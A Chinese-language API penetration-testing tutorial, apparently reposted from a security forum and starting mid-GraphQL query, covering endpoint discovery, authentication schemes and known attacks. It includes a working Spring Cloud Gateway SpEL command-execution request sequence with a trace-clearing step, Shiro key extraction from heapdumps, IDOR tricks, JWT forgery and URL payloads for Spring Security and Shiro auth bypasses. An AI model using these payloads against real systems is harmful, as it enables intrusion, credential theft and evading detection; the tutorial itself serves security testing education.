kind\r\n              name\r\n              ofType {\r\n                kind\r\n                name\r\n                ofType {\r\n                  kind\r\n                  name\r\n                  ofType {\r\n                    kind\r\n                    name\r\n                  }\r\n                }\r\n              }\r\n            }\r\n          }\r\n        }\r\n      }\r\n    }\r\n  ","variables":null}

SOAP-WSDL

WSDL (Web Services Description Language,Web服务描述语言)是一种XML Application,他将Web服务描述定义为一组服务访问点,客户端可以通过这些服务访问点对包含面向文档信息或面向过程调用的服务进行访问

走的是SOAP协议,一般发送的xml格式的数据,然后会有WSDL文件
mnzi1koomer14880.png
.net中常见的.asmx文件也有wsdl格式 xxx.asmx?wsdl
2yjagpphib414882.png
我们可以使用soapui对这类api进行测试

WADL

文件里面有很明显的wadl标志

pxjy1moafwg14885.png
同样也可以用soapui的rest功能进行测试

3mjwtmpkcwg14888.png

REST

rest api并不像前面几种那种特征明显,也是如今使用最多的一种api技术

REST 是一组架构规范,并非协议或标准。API 开发人员可以采用各种方式实施 REST。

当客户端通过 RESTful API 提出请求时,它会将资源状态表述传递给请求者或终端。该信息或表述通过 HTTP 以下列某种格式传输:JSON(Javascript 对象表示法)、HTML、XLT、Python、PHP 或纯文本。JSON 是最常用的编程语言,尽管它的名字英文原意为“JavaScript 对象表示法”,但它适用于各种语言,并且人和机器都能读。 

还有一些需要注意的地方:头和参数在 RESTful API HTTP 请求的 HTTP 方法中也很重要,因为其中包含了请求的元数据、授权、统一资源标识符(URI)、缓存、cookie 等重要标识信息。有请求头和响应头,每个头都有自己的 HTTP 连接信息和状态码。

获取端点的方式

对于api的一些安全测试,通常关注api的权限问题,api端点和基础设施的安全问题。
要测试api端点的安全问题,肯定得尽量获取多的api端点

swagger api-docs泄露

Swagger 是一个规范和完整的框架,用于生成、描述、调用和可视化 RESTful 风格的 Web 服务
常见指纹:

# swagger 2
/swagger-ui.html
/api-docs
/v2/api-docs

# swagger 3
/swagger-ui/index.html

yerttrtwhtt14891.png

/api-docs
/v2/api-docs
/v3/api-docs
...

api-docs可泄露所有端点信息
5uffwon2kqt14893.png
这里推荐两个工具进行测试
第一个是swagger-editor
https://github.com/swagger-api/swagger-editor
下载之后打开index.html就可以用,可以选择导入或者远程加载url,支持json和yaml格式的api-docs
vm2xmmvrsag14900.png
第二个是apikit https://github.com/API-Security/APIKit
burp插件
z5wxc4lrzru14902.png

graphql内省查询

获取所有端点信息
https://mp.weixin.qq.com/s/gp2jGrLPllsh5xn7vn9BwQ

{"query":"\n    query IntrospectionQuery {\r\n      __schema {\r\n        queryType { name }\r\n        mutationType { name }\r\n        subscriptionType { name }\r\n        types {\r\n          ...FullType\r\n        }\r\n        directives {\r\n          name\r\n          description\r\n          locations\r\n          args {\r\n            ...InputValue\r\n          }\r\n        }\r\n      }\r\n    }\r\n\r\n    fragment FullType on __Type {\r\n      kind\r\n      name\r\n      description\r\n      fields(includeDeprecated: true) {\r\n        name\r\n        description\r\n        args {\r\n          ...InputValue\r\n        }\r\n        type {\r\n          ...TypeRef\r\n        }\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      inputFields {\r\n        ...InputValue\r\n      }\r\n      interfaces {\r\n        ...TypeRef\r\n      }\r\n      enumValues(includeDeprecated: true) {\r\n        name\r\n        description\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      possibleTypes {\r\n        ...TypeRef\r\n      }\r\n    }\r\n\r\n    fragment InputValue on __InputValue {\r\n      name\r\n      description\r\n      type { ...TypeRef }\r\n      defaultValue\r\n    }\r\n\r\n    fragment TypeRef on __Type {\r\n      kind\r\n      name\r\n      ofType {\r\n        kind\r\n        name\r\n        ofType {\r\n          kind\r\n          name\r\n          ofType {\r\n            kind\r\n            name\r\n            ofType {\r\n              kind\r\n              name\r\n              ofType {\r\n                kind\r\n                name\r\n                ofType {\r\n                  kind\r\n                  name\r\n                  ofType {\r\n                    kind\r\n                    name\r\n                  }\r\n                }\r\n              }\r\n            }\r\n          }\r\n        }\r\n      }\r\n    }\r\n  ","variables":null}

bgfiloukh5g14906.png
我们可以用这个生成接口文档:
https://github.com/2fd/graphdoc
需要nodejs test.json是刚刚内省查询返回的json格式数据

npm install -g @2fd/graphdoc
graphdoc -s ./test.json -o ./doc/schema

然后我们打开生成的/doc/index.html
nsfcxpadql214910.png
根据他这个格式构造数据包就行了
2vddjci5pgj14913.png
5szkdidbhxj14916.png

其他

在黑盒测试中,很大一个问题就是api端点找得不够全,我们需要从对应的应用或者从其他方面找
(1)web
js html等静态资源可以有一些api端点
burp插件JS LinkFinder可以被动收集
(2)app和其他客户端应用
(3)github
(4)根据规律fuzz

鉴权方式

Basic Auth

每次请求API时都提供用户的username和password
通常在http数据包中有一个Authorization头

Authorization: Basic base64(username:password)

这个安全性比较低,现在很少用到

JWT

jwt(json web token)是一种基于 Token 的认证授权机制
分为三部分

  • Header : 描述 JWT 的元数据,定义了生成签名的算法以及 Token 的类型。
  • Payload : 用来存放实际需要传递的数据
  • Signature(签名) :服务器通过 Payload、Header 和一个密钥(Secret)使用 Header 里面指定的签名算法(默认是 HMAC SHA256)生成 防止 JWT被篡改

计算方式 加密算法( base64(header) + "." + base64(payload), secret)
h2vfsjekknj14920.png
在线测试https://jwt.io/
i1wirv30jir14924.png
普通token需要后端存储与用户的对应关系,而JWT自身携带对应关系

其他自定义头、cookie

诸如apikey 或者随机生成的其他形式的token

常见安全问题及测试方法

api网关

API 网关是一个搭建在客户端和微服务之间的服务,我们可以在 API 网关中处理一些非业务功能的逻辑,例如权限验证、监控、缓存、请求路由等。

API 网关就像整个微服务系统的门面一样,是系统对外的唯一入口。有了它,客户端会先将请求发送到 API 网关,然后由 API 网关根据请求的标识信息将请求转发到微服务实例。

xgngpyvzuqh14927.png

apisix

Apache APISIX 是 Apache 软件基金会下的云原生 API 网关,它兼具动态、实时、高性能等特点,提供了负载均衡、动态上游、灰度发布(金丝雀发布)、服务熔断、身份认证、可观测性等丰富的流量管理功能。我们可以使用 Apache APISIX 来处理传统的南北向流量,也可以处理服务间的东西向流量。同时,它也支持作为 K8s Ingress Controller 来使用。

apisix之前爆出过一个命令执行漏洞CVE-2022-24112 (目前最新版本是3.0)
影响范围:

Apache APISIX 1.3 ~ 2.12.1 之间的所有版本(不包含 2.12.1 )
Apache APISIX 2.10.0 ~ 2.10.4 LTS 之间的所有版本(不包含 2.10.4)

搭建漏洞环境

git clone https://github.com/twseptian/cve-2022-24112 ##获取dockerfile文件
cd cve-2022-24112/apisix-docker/example/ ##进入相应目录
docker-compose -p docker-apisix up -d ##启动基于docker的apisix所有服务

利用条件

batch-requests插件默认开启状态。
用户使用了 Apache APISIX 默认配置(启用 Admin API ,使用默认 Admin Key 且没有额外分配管理端口),攻击者可以通过 batch-requests 插件调用 Admin API 。

攻击思路

1、利用batch-requests 插件漏洞、绕过请求头检测;
2、通过伪造请求头、向Admin API 注册路由;
3、注册路由时、携带参数filter_func 传递 lua代码、造成远程代码执行漏洞

exp:
https://github.com/twseptian/cve-2022-24112/blob/main/poc/poc2.py
e3gkxjzre3p14931.png

uejylvsyayz14944.png

Spring Cloud Gateway

Spring Cloud Gateway 是 Spring Cloud 团队基于 Spring 5.0、Spring Boot 2.0 和 Project Reactor 等技术开发的高性能 API 网关组件

当Spring Cloud Gateway启用和暴露 Gateway Actuator 端点时,使用 Spring Cloud Gateway 的应用程序可受到代码注入攻击
影响版本

Spring Cloud Gateway < 3.1.1
Spring Cloud Gateway < 3.0.7
Spring Cloud Gateway 其他已不再更新的版本

这个漏洞本身是一个SpEL注入
攻击方法:
第一步 添加路由 value参数传入了执行cmd的el表达式

POST /test/actuator/gateway/routes/AAAAAAAAAAAAAAAA HTTP/1.1
Host: xxx.com:9090
User-Agent: xxx
Content-Length: xxx
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Type: application/json
Accept-Encoding: gzip, deflate
Connection: close

{
  "id": "AAAAAAAAAAAAAAAA",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\"whoami\").getInputStream()))}"
    }
  }],
  "uri": "http://xxx.com:9090/test/actuator/"
}

第二步 刷新配置

POST /test/actuator/gateway/refresh HTTP/1.1
Host: xxx:9090
User-Agent: xxx
Content-Length: 0
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Connection: close

第三步,获取命令执行结果

GET /test/actuator/gateway/routes/AAAAAAAAAAAAAAAA HTTP/1.1
Host: xxxx:9090
User-Agent: xxx
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Accept-Encoding: gzip, deflate
Connection: close

清除痕迹:

DELETE /test/actuator/gateway/routes/AAAAAAAAAAAAAAAA HTTP/1.1
Host: xxx
User-Agent: xxx
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Accept-Encoding: gzip, deflate
Connection: close

traefik

这个倒是没爆出过什么漏洞,实战中遇到过几次dashboard存在未授权访问的情况,
nxnau4wmhog14950.png
这个dashboard没法直接部署容器啥的
但是可以从它http->http routers这里看到一些路由转发规则,比如host path,对于后续的渗透有一些帮助,可以知道一些二级目录和域名
还有其他页面比如http services会泄露一些内网ip等等

actuator

未授权访问

默认只开放 health
fdnyb1fzgdi14953.png
如果在application.properties添加了

management.endpoints.web.exposure.include=*

或者application.yml添加

management:
  endpoints:
    web:
      exposure:
        #默认值访问health,info端点  用*可以包含全部端点
        include: "*"
  endpoint:
    health:
      show-details: always #获得健康检查中所有指标的详细信息

则会暴露所有端点(endpoints)
此时这些端点就存在未授权访问
rri5gzzy0it14955.png
利用方法大部分这篇文章已经讲了https://github.com/LandGrey/SpringBootVulExploit
这里不再重复提及

heapdump获取shiro key

测试环境:https://github.com/ruiyeclub/SpringBoot-Hello/tree/master/springboot-shiro
ycieplzvrwp14959.png
下载heapdump /actuator/heapdump
hrhrhtodp0w14962.png
jvisualvm.exe:Java自带的工具,默认路径为:JDK目录/bin/jvisualvm.exe
打开heapdump, 搜索org.apache.shiro.web.mgt.CookieRememberMeManager
o1lgqqir2sn14964.png
然后双击这个类,找到key,右边是key的值
5vg1iqk0vgc14966.png
wvmm3doiyiw14968.png
复制

-83, 105, 9, -110, -96, 22, -27, -120, 23, 113, 108, -104, -1, -35, -6, -111

转换的python脚本:

import base64
import struct

print(base64.b64encode(struct.pack('<bbbbbbbbbbbbbbbb', -83, 105, 9, -110, -96, 22, -27, -120, 23, 113, 108, -104, -1, -35, -6, -111)))

kipsieiowdl14971.png
或者使用https://github.com/whwlsfb/JDumpSpider/releases
java -jar JDumpSpider-1.0-SNAPSHOT-full.jar heapdump
o5uj2z4woij14973.png

后端代码安全问题

api后端的应用也是由代码写出来的,各种web安全问题依旧会存在,比如sql注入 文件上传等等,这里提一个遇到比较多的越权问题和一个比较有意思的xxe漏洞

越权

(1)参数污染
为单个参数提供多个值

GET /api/user?id={userid}
=>
GET /api/user?id={userid1}&id={userid2}

(2)附加特殊字符和随机字符串
简单地替换 id 可能会导致 40x等情况。可以尝试添加一些特殊字符

/ %20、%09、%0b、%0c、%1c、%1d、%1e、%1f
GET /api/user/1
=>
GET /api/user/1%20

(3)添加查询参数
url中可能并没有参数,可以自己添加一些字段(可以是网站返回的,也可以是常见的一些比如id username等等):
比如

GET /api/user
=>
GET /api/user?id=1
GET /api/user?userid=1
GET /api/user?username=1
...

(4)修改动作
常见有增删改查
比如

GET /api/edit/user/1
=>
GET /api/detele/user/1

PUT /api/user  新增
=>
DETELE /api/user/1 尝试删除

xxe

api为了兼容一些不同的应用场景比如小程序、app等等,可能会兼容不同的数据传输格式
比如之前一个银行的测试,接口传输数据采用的是json格式
ez5tz2h315514976.png
将json格式数据改为xml格式时,发现存在xml外部实体注入漏洞(xxe)
fkanpfqp5pb14980.png

鉴权绕过思路

伪造jwt token

有些网站,访问时会给你一个jwt token,但是payload部分很多字段是空的,这个时候可以去尝试去修改payload中,可能和身份认证相关的字段,伪造jwt token。
伪造就需要解决签名问题
(1)修改签名算法为none
(2)爆破签名的密钥
(3)伪造密钥
...
可以使用jwt_tool进行测试
https://github.com/ticarpi/jwt_tool

tmkh3jgmo4t14983.png

Spring-security 认证绕过漏洞

CVE-2022-22978
影响版本:
Spring Security 5.5.x < 5.5.7
Spring Security 5.6.x < 5.6.4

在spring-security中利用换行符可实现权限认证进行绕过,\r的URl编码为%0d,\n的URL编码为%0a
比如:
/admin/1 -> 需要认证
/admin/1%0d%0a -> 绕过认证

shiro权限绕过

举两个例子
(1)CVE-2020-1957
影响版本: shiro < 1.5.2
shiro与spring的URI中对;处理不同,导致绕过

比如http://127.0.0.1:8080/;/admin,shiro则是认为是访问http://127.0.0.1:8080/
比如http://127.0.0.1:8080/;/admin,spring则是认位是访问http://127.0.0.1:8080/admin
这就造成了与shiro处理⽅式的差异,shiro是直接截断后⾯所有部分,⽽spring只会截断【分号之后,斜杠之前】的部分

/admin/ -> 403
/;aaaa/admin/ -> 200
(2)CVE-2020-13933
影响版本: shiro < 1.6.0

访问/admin/index 需要认证
而/admin/%3bindex,能够绕过认证:

其他

这里就是一些经验之谈
(1)github、前端的js以及app中可能存在一些测试的token
(2)测试站点的凭据可能在正式站点上面也有效
(3)有些应用有toB toC不同的接口,在校验不严格的情况下,toC端的凭据可能能用在toB端的接口认证上,比如某次漏洞挖掘中小程序用户登录获取token,可以用在商家端的一些api绕过认证。

参考

https://github.com/API-Security/APIKit
https://github.com/OWASP/API-Security
https://www.cnblogs.com/tomyyyyy/p/15134420.html
https://www.cnblogs.com/zpchcbd/p/15023056.html
https://www.freebuf.com/vuls/343980.html
https://mp.weixin.qq.com/s/gp2jGrLPllsh5xn7vn9BwQ
https://mp.weixin.qq.com/s?__biz=Mzg3NDcwMDk3OA==&mid=2247484068&idx=1&sn=89ea1b1be48a0cb7f93a4750765719d1&chksm=cecd8b79f9ba026f7fbf52771e41272d684fc3af5175587f768082f8dbaee12d6d33bb892ceb&scene=21#wechat_redirect
https://apisix.apache.org/zh/docs/apisix/getting-started/
https://zhuanlan.zhihu.com/p/569328044
https://www.cnblogs.com/9eek/p/16243402.html
http://c.biancheng.net/springcloud/gateway.html



原文连接: https://xz.aliyun.com/t/11977